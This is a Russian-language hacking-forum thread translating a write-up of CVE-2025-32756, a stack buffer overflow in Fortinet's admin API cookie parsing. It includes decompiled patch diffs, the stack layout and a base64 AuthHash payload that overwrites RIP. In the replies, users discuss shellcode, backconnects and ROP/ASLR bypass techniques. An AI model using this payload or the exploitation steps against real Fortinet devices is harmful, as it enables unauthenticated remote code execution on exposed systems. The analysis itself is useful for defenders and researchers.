• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья CVE-2025-32756: Джинсы с низкой посадкой вернулись, а вместе с ними — и переполнения буфера

S3VE7N

RAM
Пользователь
Регистрация
02.08.2022
Сообщения
127
Реакции
154
Депозит
0.0001
CVE-2025-32756: Джинсы с низкой посадкой вернулись, а вместе с ними — и переполнения буфера



13 мая 2025 года FortiGuard Labs опубликовала бюллетень с подробным описанием уязвимости CVE-2025-32756, которая затрагивает ряд продуктов Fortinet:

  • FortiCamera
  • FortiMail
  • FortiNDR
  • FortiRecorder
  • FortiVoice

В своем бюллетене FortiGuard Labs заявляет, что Fortinet зафиксировала эксплуатацию этой уязвимости в реальных условиях. На следующий день, 14 мая, уязвимость была добавлена в каталог KEV от cisa[.]

Уязвимость описывается как переполнение буфера на основе стека в административном API, которое может привести к удаленному выполнению кода без аутентификации. Учитывая, что она активно эксплуатируется, мы решили взглянуть на нее поближе. Если вы предпочитаете сразу запустить тест, а не читать этот разбор, то поддержка уязвимости уже доступна в NodeZero.



В поисках зацепок

Для реверс-инжиниринга мы решили изучить пропатченную и непропатченную версии FortiMail. Индикаторы компрометации (IOC), перечисленные в бюллетене, дают нам несколько подсказок, с чего начать.

1749440030713.png
1749440047648.png



Логи, показанные здесь, говорят нам о паре важных вещей:

  • Мы ищем способ выполнить бинарный файл CGI admin.fe.
  • Веб-сервер использует mod_fcgid, что немного облегчает нам жизнь при попытке эксплуатации, так как маловероятно, что неудачные попытки обрушат весь процесс httpd и заблокируют нам доступ к приложению.

Из конфигурационного файла веб-сервера (httpd.conf) мы находим нашу точку входа:

ScriptAlias /module/ "/migadmin/www/fcgi/"

Быстрый запрос с помощью curl подтверждает, что мы можем достучаться до эндпоинта admin.fe:

Bash:
# curl -k -L -v https://REDACTED/module/admin.fe

< HTTP/1.1 200 OK
< Date: Tue, 20 May 2025 23:17:44 GMT
< Cache-Control: no-cache
< Strict-Transport-Security: max-age=31536000; includeSubDomains
< Set-Cookie: APSCOOKIE_ffbe3e4d0e3350075e9c91f574e799cc=; Expires=Fri, 01-Jan-1971 01:00:00 GMT;; Path=/; Version=1; Secure; HttpOnly
< Set-Cookie: ParamStr=; Expires=Fri, 01-Jan-1971 01:00:00 GMT;; Path=/; Version=1; Secure; HttpOnly
< Set-Cookie: mTime=; Expires=Fri, 01-Jan-1971 01:00:00 GMT;; Path=/; Version=1; Secure; HttpOnly
< Set-Cookie: logLevel=; Expires=Fri, 01-Jan-1971 01:00:00 GMT;; Path=/; Version=1; Secure; HttpOnly
< Set-Cookie: logType=; Expires=Fri, 01-Jan-1971 01:00:00 GMT;; Path=/; Version=1; Secure; HttpOnly
< Set-Cookie: logStartline=; Expires=Fri, 01-Jan-1971 01:00:00 GMT;; Path=/; Version=1; Secure; HttpOnly
< Set-Cookie: logDomain=; Expires=Fri, 01-Jan-1971 01:00:00 GMT;; Path=/; Version=1; Secure; HttpOnly
< Set-Cookie: totalLineNumber=; Expires=Fri, 01-Jan-1971 01:00:00 GMT;; Path=/; Version=1; Secure; HttpOnly
< Set-Cookie: SearchResultFile=; Expires=Fri, 01-Jan-1971 01:00:00 GMT;; Path=/; Version=1; Secure; HttpOnly
< Vary: Accept-Encoding
< X-XSS-Protection: 1; mode=block
< X-Frame-Options: SAMEORIGIN
< X-Content-Type-Options: nosniff
< Content-Security-Policy: script-src 'self'; object-src 'none'; frame-ancestors 'self' https://*.fortimailcloud.com/ https://fortimail.forticloud.com/
< Transfer-Encoding: chunked
< Content-Type: text/plain
<

{"errorType": 7,"errorMsg": "Failed: Access denied","reqAction": 0,"totalRemoteCount": 0,"collection": "[]"}

К сожалению, при попытке сравнить (diff) admin.fe между пропатченной и непропатченной версиями... мы обнаружили, что бинарные файлы идентичны. Это означает, что уязвимость, скорее всего, находится в разделяемой библиотеке, так что пришло время вскрывать потроха.



Засучив рукава

1749440000504.png


Окно импортов в Ghidra

Ох. Мерзость. Библиотека boost... что, скорее всего, означает C++... Вместо того чтобы биться головой о стену следующие несколько часов, мы попросили помощи у ChatGPT через мост Ghidra-MCP и Github Copilot.

1749439986585.png
1749439964857.png


1749439936797.png

Присмотревшись к функции, которую нам порекомендовали, мы замечаем знакомую строку: APSCOOKIE. Если вы вернетесь к нашему предыдущему тесту с curl, то заметите, что один из возвращенных cookie имел именно это значение.

Если немного поиграться с веб-интерфейсом администратора, вы начнете видеть периодические запросы к эндпоинту admin.fe, которые содержат это значение APSCOOKIE, по-видимому, используемое для управления сессией.

1749439922176.png

После декодирования значения этого cookie мы получаем:

Era=0&Payload=qCStu1vT3v+Y++5pCCs9M/CxxddCRrC8SHg+9cfRCA42GU7Cf+8p3iBFSl/4vHteSGePZgk7KGMb8kzRR5c2boDUfiiD65jkByiD3DuRCj1NJR7ESpZQIZlOffSxykRbCTp5l3InoU+q6psG+ve+IRDk9za5K0No9T5RNxCwZxM=&AuthHash=kz4cHPsgudYxy4PPp123FUto=&

APSCOOKIE содержит следующие URL-закодированные поля:

  • Era
  • Payload
  • AuthHash

Отличные кандидаты, чтобы начать по ним grep-ать.

Bash:
$ grep -rl "Era" ./762 | xargs grep -rl "Payload" | xargs grep -rl "AuthHash"
rootfs/lib/libhttputil.so

$ diff 762/rootfs/lib/libhttputil.so 763/rootfs/lib/libhttputil.so
Binary files 762/rootfs/lib/libhttputil.so and 763/rootfs/lib/libhttputil.so differ

Учитывая, что есть только один файл с этими значениями, и он отличается между пропатченной и уязвимой версиями продуктов, весьма вероятно, мы нашли виновника.

AD_4nXf2nO_ten4EM8YyVnLulrvpw8ZygWDKV7fMTC__jC-IutPfWv-5C6FDSYG45rAkmbkokPmTqYCCh2TLqeklO_RF07...gif


Загрузив обе версии в Ghidra, мы видим, что все эти строки упоминаются в функции cookieval_unwrap(). Мы решили дать нашим мозгам отдохнуть и посмотреть, как далеко нас заведет наш маленький ИИ-помощник.

1749439738640.png
1749439646979.png

Неплохо для первого ответа. Давайте продолжим.
оригинал
1749439793502.png
1749439552904.png

К сожалению, после этого ответы становятся все менее и менее надежными, так что давайте сосредоточимся на старом добром ручном анализе, используя наблюдения ChatGPT как отправную точку.

Пробежавшись по функции, cookieval_unwrap() похоже, предназначена для выполнения base64-декодирования каждого поля ASPCOOKIE и записи результата обратно во входной буфер. Поскольку ожидается, что Era будет одной цифрой, сосредоточим наши усилия на Payload и AuthHash. Мы просмотрим декомпиляции пропатченной и непропатченной версий функции, чтобы отследить ссылки на каждое из этих значений.

C:
----------
Unpatched:
----------
size_t input_size;
size_t __size;
uchar *AuthHash;
uchar *Payload;
long output_buffer [2];
out_00 = (uchar *)malloc(__size);

iVar2 = __isoc99_sscanf(param_1,"Era=%1d&Payload=%m[^&]&AuthHash=%m[^&]&",&Era,&Payload, &AuthHash);

input_size = strlen((char *)AuthHash);
__size = strlen((char *)Payload);

iVar3 = EVP_DecodeUpdate(ctx,(uchar *)output_buffer,&output_size,AuthHash,(int)input_size);
iVar2 = EVP_DecodeUpdate(ctx,out_00,&local_94,Payload,iVar2);

----------
Patched:
----------
size_t input_size;
size_t __size;
uchar *AuthHash;
uchar *Payload;
long output_buffer [2];
out_00 = (uchar *)malloc(__size);

iVar2 = __isoc99_sscanf(param_1,"Era=%1d&Payload=%m[^&]&AuthHash=%m[^&]&",&Era,&Payload, &AuthHash);

input_size = strlen((char *)AuthHash);
__size = strlen((char *)Payload);

input_size = strlen((char *)AuthHash);
if (input_size < 0x1e) { // <-- ПРОВЕРКА РАЗМЕРА

    iVar3 = EVP_DecodeUpdate(ctx,(uchar *)output_buffer,&output_size,AuthHash,(int)input_size);
    iVar2 = EVP_DecodeUpdate(ctx,out_00,&local_94,Payload,iVar2);

Ключевое различие между пропатченной и непропатченной функцией, по-видимому, заключается в проверке размера для предоставленного пользователем значения AuthHash. В оригинальной версии мы видим, что AuthHash декодируется и записывается в output_buffer, который рассчитан всего на 16 байт. В пропатченной версии мы видим, что добавленная проверка размера ограничивает объем данных, которые пользователь может отправить в этом значении. По сути, теперь мы знаем, что memcpy(), на который указал ChatGPT, не совсем корректен, и реальное переполнение происходит из-за вызова EVP_DecodeUpdate(), который записывает данные за пределы области, выделенной для декодированного значения AuthHash.

Теперь мы знаем, где происходит переполнение, но сколько контроля это нам дает? Давайте посмотрим на распределение стека, начиная с нашего выходного буфера:

Код:
RSP+0x50 : local_78 (16 bytes)        <- Начало переполнения
RSP+0x60 : local_68 (4 bytes)         <- Перезаписано
RSP+0x70 : local_58 (16 bytes)        <- Перезаписано
RSP+0x80 : local_48 (16 bytes)        <- Перезаписано
RSP+0x90 : saved RBX                  <- Перезаписано ---v
RSP+0x98 : saved RBP                  <- Перезаписано    |
RSP+0xA0 : saved R12                  <- Перезаписано    | (Сохранены в прологе функции)
RSP+0xA8 : saved R13                  <- Перезаписано    |
RSP+0xB0 : saved R14                  <- Перезаписано    |
RSP+0xB8 : saved R15                  <- Перезаписано ---^
RSP+0xC0 : return address (RIP)       <- Перезаписано

По мере выполнения программы эти значения на стеке остаются нетронутыми до тех пор, пока они снова не будут использованы вызовом memcpy(). Этот вызов memcpy() использует значения, которые мы уже контролируем, что может быть полезно при создании рабочего эксплойта, но в это не обязательно углубляться сейчас, поскольку мы уже контролируем значение, которое будет записано в RIP в эпилоге функции.

Давайте начнем отправлять мусорные данные и посмотрим, что произойдет! Поскольку AuthHash должен быть валидным base64, давайте отправим кучу NULL-символов, правильно закодированных.

AuthHash%3DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%3D%3D

1749439458279.png


Выглядит многообещающе. После нескольких проб и ошибок с шаблонными полезными нагрузками (cyclic payloads) мы можем определить следующее:

1749439430908.png

AD_4nXc217fWvUrK7YXn6hlT_PD8CKKHpzu9NuXy3Erm7tu3GMjLiz-Mt6dOWFGQVNnwBjL3EouUIW2xtY-RnwjOtfSr9E...png


💥 Учитывая, насколько редкими и устаревшими стали простые проблемы повреждения памяти, подобные этой, в наше время, было приятно вернуться к старым добрым хакерским техникам из 90-х.



Заключение

Учитывая, что эта уязвимость активно эксплуатируется и в открытом доступе в интернете находится множество уязвимых систем, мы решили не публиковать эксплойт, ограничившись этим простым доказательством концепции (PoC). Бюллетень FortiGuard Labs содержит достаточно информации о ценных индикаторах компрометации, а также подробные сведения о мерах по смягчению последствий. Учитывая простоту эксплуатации, мы рекомендуем всем пользователям обновиться или применить меры по смягчению как можно скорее.

Поддержка этой уязвимости добавлена в NodeZero и доступна уже сейчас.

image-2-1024x576.png






:smile10: Перевод подготовлен с любовью S3VE7N для комьюнити XSS :smile10:
Поддержать автора и будущие переводы:

BTC:
Код:
bc1qktt7uhzptuvfv4dqqd634m0jzk4345p09xlkcj
ETH:
Код:
0xd8fDa0D2aa5AE187968041306c7f28618744221B
LTC:
Код:
ltc1qvl8w6nguls78tze5xlf9x5wxd3h6pwl0x2nm7j

SOURCE
 

Вложения

  • 1749439872600.png
    1749439872600.png
    42.9 КБ · Просмотры: 32
  • 1749439506569.png
    1749439506569.png
    72 КБ · Просмотры: 32
  • 1749439679333.png
    1749439679333.png
    37.5 КБ · Просмотры: 31
Пожалуйста, обратите внимание, что пользователь заблокирован
А че, какой импакт по экспу в итоге?
 
Последнее редактирование модератором:
Переводчик вы, конечно, как из хуя колбаса. А че, какой импакт по экспу в итоге?
Как мило с вашей стороны...
 
Он не русскоязычный. =) Переводит со своего, на русский. =)
Прошу прощения, но зачем так надрываться, как-то не могу догнать? Попытка выучить русский или продемонстрировать уже накопленные знания? Прикольно.
Но все же, лучше было бы, если бы это сделал носитель языка. Или просто опубликовать статью на английском, мы бы все с интересом почитали. Кому надо - может сам воспользоваться переводчиком или GPT. А так, местами пытаешься понять, что именно подразумевалось, и в конце концов все равно открываешь оригинал)

P.S. А статья у Хорайзон хорошая
 
Пожалуйста, обратите внимание, что пользователь заблокирован
А че, какой импакт по экспу в итоге?
RCE же. Видимо ты никогда не писал самые простые эксплойты переполнения буфера. Тут же на скриншоте у него регистр RIP перезаписан на значение 0x4141414141414141. Импакт в том, что мы контролируем значение регистра RIP, тем самым мы можем перенаправить поток управления куда угодно. Просто адрес шелл-кода в RIP положи и жди баккконект.
 
24.jpg
 
Критиков переводов приглашаю вот сюда - https://xss.pro/threads/29867/ Нам очень нужна помощь, а не пустая критика. Если бы каждый перевёл хотя бы 1 статью, это было бы уже замечательно. S3VE7N благодарю за переводы. Даже, если есть ошибки или недочёты, все равно это отлично и уже помощь форуму, огромное спасибо.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
RCE же. Видимо ты никогда не писал самые простые эксплойты переполнения буфера. Тут же на скриншоте у него регистр RIP перезаписан на значение 0x4141414141414141. Импакт в том, что мы контролируем значение регистра RIP, тем самым мы можем перенаправить поток управления куда угодно. Просто адрес шелл-кода в RIP положи и жди баккконект.
Я переводил туториал кореланкодера, конечно я не секу про EIP/RIP и прочее это ваше низкоуровневое. Туше
Но говоря про импакт, я имею ввиду практическую ценность. Эти устройства дали вам доступ в сеть? С тем же успехом можете микротики дрочить и прочие zte
Люди видят "fortinet" и потирают ладошки в предвкушении жирной сетки. Не в этом случае, увы

Он не русскоязычный. =) Переводит со своего, на русский. =)
Не знал, извините
S3VE7N, экскьюз ми, сир
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Я переводил туториал кореланкодера, конечно я не секу про EIP/RIP и прочее это ваше низкоуровневое.
Звучит двухсмысленно, ну вот значит если переводил и внимательно вчитывался. То должен знать про эти регистры. Хотя тут больше пользы будет от обычной статьи про переполнение буфера под линукс x64 нежели под виндовс.
Но говоря про импакт, я имею ввиду практическую ценность. Эти устройства дали вам доступ в сеть?
Данная уязвимость используется в "дикой природе". Эксп не выкладывают потому что банальный и простой. А так я не много с тобой солидарен, переводить каждую заметку\статью из блога не имеет смысла.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Звучит двухсмысленно, ну вот значит если переводил и внимательно вчитывался. То должен знать про эти регистры. Хотя тут больше пользы будет от обычной статьи про переполнение буфера под линукс x64 нежели под виндовс.
Сам боф ещё надо уметь заюзать с обходами. Регистры и структура памяти у фирмварей отличается от десктопов. Всякие деп/аслр усложняют задачу. В контексте этой вульны несколько линеек устройств разных версий. Оффсет под шеллкод будет везде одинаковый?
Данная уязвимость используется в "дикой природе". Эксп не выкладывают потому что банальный и простой. А так я не много с тобой солидарен, переводить каждую заметку\статью из блога не имеет смысла.
Та похуй что ин-зе-вилд, импакт какой? Добавить роутер в ботнет? Конгратс
Интерес к фортинетам у людей только к впн-гейтам (FortiGate, FortiManager на пол шишки), остальное шляпа
И да, я не против переводов, просто в данном случае он какой-то кривой. Посыл понятен, но читать сложноватенько
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Сам боф ещё надо уметь заюзать с обходами. Регистры и структура памяти у фирмварей отличается от десктопов. Всякие деп/аслр усложняют задачу. В контексте этой вульны несколько линеек устройств разных версий. Оффсет под шеллкод будет везде одинаковый?
Эти обходы давно уже задокументированы и до дыр зачитаны. То что уже архитектура Intel, а не Mips уже хорошо. И там не надо ничего надумывать. Что касается оффсета, тебе надо оффсет до RIP подсчитать, и он будет везде одинаковый. Затем ложишь адрес в RIP либо захардкоженный адрес шелл-кода, который ты можешь посмотреть через отладчик в созданном дампе когда ловишь сегфолт, что не круто, либо ложишь гаджет например JMP ESP который динамически поможет тебе перейти на шелл-код. ХЗ стек исполняемый там или нет. Если нет тогда ROP. Даже если крутится ASLR то он мало на что будет влиять. Например через Blind-ROP. Но в статье там говорится
приятно вернуться к старым добрым хакерским техникам из 90-х.
Поэтому должно быть легко.
 
RCE, of course. Apparently you've never written the simplest buffer overflow exploits. Right there on the screenshot, his RIP register is overwritten with the value 0x414141414141414141. The impact is that we control the value of the RIP register, so we can redirect the control flow anywhere . Just put the shellcode address in RIP and wait for backconnect.
. where can i get my hands on the unpatched forti products? i couldnt find them anywhere
 
Критиков переводов приглашаю вот сюда - https://xss.pro/threads/29867/ Нам очень нужна помощь, а не пустая критика. Если бы каждый перевёл хотя бы 1 статью, это было бы уже замечательно. S3VE7N благодарю за переводы. Даже, если есть ошибки или недочёты, все равно это отлично и уже помощь форуму, огромное спасибо.
Прошу прощения, не знал о такой графе та и в общем такой потребности на форуме. Потому как-то сразу и не сильно было понятно, зачем ТС переводит на не родной язык. Теперь вижу, что там реально висит много статей без перевода. Если будет время, постараюсь на досуге тоже чем-то помочь.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх